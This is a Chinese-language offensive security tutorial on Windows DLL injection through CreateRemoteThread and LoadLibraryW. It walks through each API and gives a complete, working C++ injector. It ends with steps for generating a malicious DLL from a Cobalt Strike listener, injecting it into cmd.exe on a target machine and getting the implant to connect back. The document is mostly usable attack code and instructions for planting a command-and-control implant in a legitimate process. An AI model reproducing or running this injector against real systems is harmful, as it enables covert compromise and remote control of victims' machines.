注入原理
原理是將惡意的動態鏈接庫路徑寫入到另一個進程的虛擬空間內,通過在目標進程中創建遠程線程進行加載。
但是程序不會無故加載我們惡意的dll,所以我們就要使用Windows API
了,它提供了大量的函數來附加和操縱其他進程。
API中的所有函數都包含於DLL文件之中。其中,最重要的是Kernel32.dll
(包含管理內存,進程和線程相關的函數),User32.dll
(大部分是用戶接口函數),和“GDI32.dll”(繪制圖形和顯示文本相關的函數)等。
注入代碼的實現
由於基本上大多數進程都會使用Kernel32.dll
,核心思想就是在目標進程中開啟一個線程調用LoadLibrary
函數來加載我們想要注入的dll
大致注入流程如下圖
使用到的一些函數
OpenProcess
函數
OpenProcess
函數用來打開一個已存在的進程對象,並返回進程的句柄。
HANDLE OpenProcess(
DWORD dwDesiredAccess, //想擁有的該進程訪問權限
BOOL bInheritHandle, // 是否繼承句柄
DWORD dwProcessId// 被打開進程的PID
);
參數解釋:
a.dwDesiredAccess:想擁有的該進程訪問權限
PROCESS_ALL_ACCESS //所有能獲得的權限
PROCESS_CREATE_PROCESS //需要創建一個進程
PROCESS_CREATE_THREAD //需要創建一個線程
PROCESS_DUP_HANDLE //重復使用DuplicateHandle句柄
PROCESS_QUERY_INFORMATION //獲得進程信息的權限,如它的退出代碼、優先級
PROCESS_QUERY_LIMITED_INFORMATION (獲得某些信息的權限,如果獲得了PROCESS_QUERY_INFORMATION,也擁有PROCESS_QUERY_LIMITED_INFORMATION權限)
PROCESS_SET_INFORMATION //設置某些信息的權限,如進程優先級
PROCESS_SET_QUOTA //設置內存限制的權限,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暫停或恢復進程的權限
PROCESS_TERMINATE //終止一個進程的權限,使用TerminateProcess
PROCESS_VM_OPERATION //操作進程內存空間的權限(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //讀取進程內存空間的權限,可使用ReadProcessMemory
PROCESS_VM_WRITE //讀取進程內存空間的權限,可使用WriteProcessMemory
SYNCHRONIZE //等待進程終止
b.bInheritHandle:表示所得到的進程句柄是否可以被繼承
c.dwProcessId:被打開進程的PID
返回值:
如成功,返回值為指定進程的句柄。
如失敗,返回值為NULL
,可調用GetLastError()
獲得錯誤代碼。
VirtualAllocEx
函數
獲得返回句柄之后再用VirtualAllocEx
函數,在目標進程中開辟一塊內存存放我們的dll的路徑。
LPVOID VirtualAllocEx(
HANDLE hProcess, // 申請內存所在的進程句柄
LPVOID lpAddress, // 保留頁面的內存地址;一般用NULL自動分配
SIZE_T dwSize, // 欲分配的內存大小,字節單位;注意實際分 配的內存大小是頁內存大小的整數倍
DWORD flAllocationType, //為特定的頁面區域分配內存中或磁盤
DWORD flProtect //受保護狀態
);
WriteProcessMemory
函數
之后使用WriteProcessMemory
函數向目標內存寫入dll地址
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess, //由OpenProcess返回的進程句柄。
_In_ LPVOID lpBaseAddress, //要寫的內存首地址
_In_ LPCVOID lpBuffer, //指向要寫的數據的指針。
_In_ SIZE_T nSize, //要寫入的字節數。
_Out_ SIZE_T *lpNumberOfBytesWritten //返回值。返回實際寫入的字節
);
用GetProcAddress
函數獲得LoadLibraryW
函數的起始地址。LoadLibraryW
函數位於Kernel32.dll
中,再用CreateRemoteThread
函數讓目標進程執行LoadLibraryW
來加載被注入的dll。函數結束將返回載入dll后的模塊句柄。
注意:這里的LoadLibrary
函數在底層實際調用有兩種可能,如果目標程序使用的是ANSI
編碼方式,LoadLibrary
實際調用的是LoadLibraryA
,其參數字符串應當是ANSI
編碼;
如果目標程序使用的是Unicode
編碼方式,LoadLibrary
實際調用的是LoadLibraryW
,其參數字符串應當是Unicode
編碼。
完整代碼
// ConsoleApplication1.cpp : 此文件包含 "main" 函數。程序執行將在此處開始並結束。
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Tlhelp32.h>
BOOL Inject(DWORD dwId, WCHAR* szPath)
//參數1:目標進程id; 參數2:DLL路徑
{
//1.在目標進程中申請一個空間
/*
1.1獲取目標進程句柄
參數1:想要擁有的進程權限
參數2:表示所得到的進程句柄是否可以被繼承
參數3:被打開進進程的pid
返回值:指定進程的句柄
*/
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
/*
1.2在目標進程中開辟空間
參數1:目標進程句柄
參數2:保留頁面的內存地址,一般用NULL自動分配
參數3:想要分配的內存大小,字節為單位
參數4:ME_COMMIT:為特定的頁面區域分配內存中或磁盤的頁面文件中的物理存儲
參數5:PAGE_READWRITE:區域可被應用程序讀寫
返回值:執行成功就返回分配內存的首地址,不成功就是NULL
*/
LPVOID pRemoteAdress = VirtualAllocEx(
hProcess,
NULL,
wcslen(szPath) * 2,
MEM_COMMIT,
PAGE_READWRITE
);
//2.把dll的路徑寫入到目標進程的內存空間中
DWORD dwWriteSize = 0;
/*
寫一段數據到剛才給指定進程所開辟的內存空間里
參數1:OpenProcess返回的進程句柄
參數2:准備寫入的內存地址
參數3:指向要寫入的數據指針(准備寫入的東西)
參數4:要寫的字節數(東西的長度+0/)
參數5:返回值,返回實際寫入的字節
*/
BOOL bRet = WriteProcessMemory(hProcess, pRemoteAdress, szPath, wcslen(szPath) * 2, NULL);
//3.創建一個遠程線程,讓目標進程調用LoadLibrary
/*
參數1:該遠程線程所屬進程的進程句柄
參數2:一個指向SECURITY_ATTRIBUTES結構的指針,該結構指定了線程的安全屬性
參數3:線程棧初始大小,以字節為單位,若該值設為0,那么使用系統默認大小
參數4:在遠程進程的地址空間中,該線程的線程函數的起始地址(也就是這個線程具體干的活)
參數5:傳給線程函數的參數(剛才在內存里開辟的空間里寫入的東西)
參數6:控制線程創建的標志。0(NULL)表示該線程在創建后立即運行
參數7:指向接收線程標識符的變量的指針。如果為NULL,則不返回線程標識符
返回值;如果函數成功,則返回值是新線程的句柄。如果函數失敗,則返回值為NULL
*/
//獲取模塊地址
HMODULE hModule = GetModuleHandle(L"kernel32.dll");
if (!hModule)
{
printf("GetModuleHandle Error !\n");
GetLastError();
CloseHandle(hProcess);
return FALSE;
}
//獲取LoadLibraryA函數地址
LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
if (!dwLoadAddr)
{
printf("GetProcAddress Error !\n");
GetLastError();
CloseHandle(hProcess);
CloseHandle(hModule);
return FALSE;
}
//創建遠程線程,加載dll
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)dwLoadAddr,
pRemoteAdress,
NULL,
NULL
);
//WaitForSingleObject(hThread, -1);當句柄所指的線程右信號的時候才會返回
/*
4.釋放申請的虛擬內存空間
參數1:目標進程的句柄。該句柄必須擁有PROCESS_VM-OPERATION權限
參數2:指向要釋放的虛擬內存空間首地址的指針
參數3:虛擬內存空間的字節數
參數4:MEM_DECOMMIT僅表示內存空間不可用,內存頁還將存在
MEM_RELEASE這種方式很徹底,完全回收。
VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT);
*/
return 0;
}
DWORD GetPid(WCHAR* szName)
{
HANDLE hprocessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hprocessSnap, &pe32))
{
do {
if (!wcscmp(szName, pe32.szExeFile))
return (int)pe32.th32ProcessID;
} while (Process32Next(hprocessSnap, &pe32));
}
else
CloseHandle(hprocessSnap);
return 0;
}
int main()
{
wchar_t wStr[] = L"·····";//要注入的dll文件地址
DWORD dwId = 0;
DWORD dwPid = 0;
WCHAR S[] = L"···";//注入的目標exe文件
DWORD SS = GetPid(S);
printf("目標窗口的進程PID為:%d\n", SS);
//參數1:目標進程的PID
//參數2:想要注入dll的路徑
Inject(SS, wStr);
system("pause");
return 0;
}
利用此方法上線CS
1.打開Visual Studio新建一個項目
2.將上述完整代碼添加進去
3.我們利用cs創建一個監聽
4.生成惡意dll文件
這里根據需求選擇32位或者64位,我這里演示的是32位的,選擇剛才創建的監聽
生成dll文件
5.將dll文件放置在目標機的D盤下,我這里注入的進程是cmd.exe
,並將main
函數補全。
6.編譯生成exe文件,在將該exe文件在目標及運行即可
7.檢查發現cmd.exe
中成功加載了惡意dll,且CS也成功上線